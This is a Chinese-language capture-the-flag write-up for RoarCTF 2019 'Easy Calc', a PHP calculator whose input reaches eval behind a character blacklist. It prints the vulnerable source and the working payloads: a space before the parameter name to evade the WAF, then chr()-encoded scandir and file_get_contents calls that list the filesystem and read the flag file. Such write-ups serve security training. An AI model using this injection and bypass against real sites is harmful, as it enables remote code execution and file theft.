进入靶场我们看到了一个输入框,输入数字和运算符可以出结果,我们还是先看注释

[RoarCTF 2019]Easy-1-calc-1.png

注释显示开启了waf,然后看js代码,发现url:"calc.php?num="+encodeURIComponent($("#content").val()),包含了calc.php,我们访问一下,得到如下php代码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

通过代码我们可以得知需要我们用get请求传递一个名为num的参数,还有一个eval函数,可以把我们输入的内容作为php代码执行,并输出结果

然后还有一个黑名单[' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']

这里我们输入了字母,使用url编码都显示403,

这里使用了一个大佬的方法在?和num中间加上一个空格就可以绕过

比如?%20num=phpinfo(),就可以正常显示

[RoarCTF 2019]Easy-1-calc-2.png

但是执行ls或者system发现无法正常执行

/calc.php?%20num=var_dump(scandir(chr(46).chr(47)))
.和/的asci编码分别是46和47
scandir()  获取指定目录下的文件,返回数组 
数组需要var_dump()或者print_r()函数进行打印 
chr()将ascii值转换为字符串

获取根目录的所有文件

/calc.php?%20num=var_dump(scandir(chr(47)))

输出

array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }

可以看到f1agg,使用file_get_contents查看f1agg的具体内容

/calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

/calc.php? num=file_get_contents(/f1agg)

得到flag:flag{7467a7ed-3756-42be-9ad5-15c27c6ad287}